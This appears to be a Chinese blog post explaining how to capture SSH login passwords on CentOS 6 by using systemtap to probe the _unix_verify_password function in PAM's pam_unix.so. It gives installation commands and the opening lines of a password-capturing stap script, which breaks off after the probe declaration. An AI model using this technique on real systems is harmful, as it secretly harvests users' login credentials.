Advertisement

Linux系统中实时监控和记录SSH登录密码

阅读量:

测试环境:

Linux 2.6.32-754.25.1.el6.x86_64

CentOS release 6.10 (Final)

第一步需完成systemtap组件的安装

其核心机制在于对PAM模块中pam_unix.so库文件所涉及的函数调用过程进行追踪,原因在于用户登录验证流程依赖于该库文件的功能实现。

复制代码
 yum --releasever=6.4 update

    
  
    
 yum install -y systemtap
    
  
    
 debuginfo-install $(rpm -qf /lib/security/pam_unix.so) //64位的机器为lib64目录
    
  
    
 touch /root/capture_pass.stp
    
  
    
    
    
    
复制代码
 #!/usr/bin/stap

    
  
    
 global username, pass, isSuccRet = 1;
    
  
    
 probe process("/lib/security/pam_unix.so").function("_unix_verify_password")
    
  
    
 {
    

全部评论 (0)

还没有任何评论哟~